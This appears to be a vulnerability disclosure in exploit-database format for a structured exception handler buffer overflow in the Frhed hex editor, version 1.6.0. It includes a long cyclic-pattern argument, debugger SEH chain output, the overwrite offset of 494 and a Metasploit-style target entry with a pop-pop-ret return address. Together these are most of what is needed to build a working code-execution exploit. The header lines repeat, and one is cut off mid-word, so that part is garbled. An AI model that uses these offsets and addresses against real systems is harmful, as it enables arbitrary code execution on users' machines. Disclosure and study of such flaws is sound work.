# Discovery by: Rafael Pedrero
# Discovery Date: 2022-01-09
# Vendor Homepage: http://frhed.sourceforge.net/
# Sof # Exploit Title: Frhed (Free hex editor) v1.6.0 - Buffer overflow
# Discovery by: Rafael Pedrero
# Discovery Date: 2022-01-09
# Vendor Homepage: http://frhed.sourceforge.net/
# Software Link : http://frhed.sourceforge.net/
# Tested Version: 1.6.0
# Tested on: Windows 10
CVSS v3: 7.3
CVSS vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
CWE: CWE-119
Buffer overflow controlling the Structured Exception Handler (SEH) records
in Frhed (Free hex editor) v1.6.0, and possibly other versions, may allow
attackers to execute arbitrary code via a long file name argument.
Proof of concept:
Open Frhed.exe from command line with a large string in Arguments, more
than 494 chars:
File '<Frhed_PATH>Frhed.exe'
Arguments
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4...'
SEH chain of main thread
Address SE handler
0018FC8C 41367141
35714134 *** CORRUPT ENTRY ***
0BADF00D [+] Examining SEH chain
0BADF00D SEH record (nseh field) at 0x0018fc8c overwritten with
normal pattern : 0x35714134 (offset 494), followed by 876 bytes of cyclic
data after the handler
0BADF00D ------------------------------
'Targets' =>
[
[ '<fill in the OS/app version here>',
{
'Ret' => 0x00401ba7, #
pop ecx # pop ecx # ret - Frhed.exe (change this value by other without
x00)
'Offset' => 494
}
],
],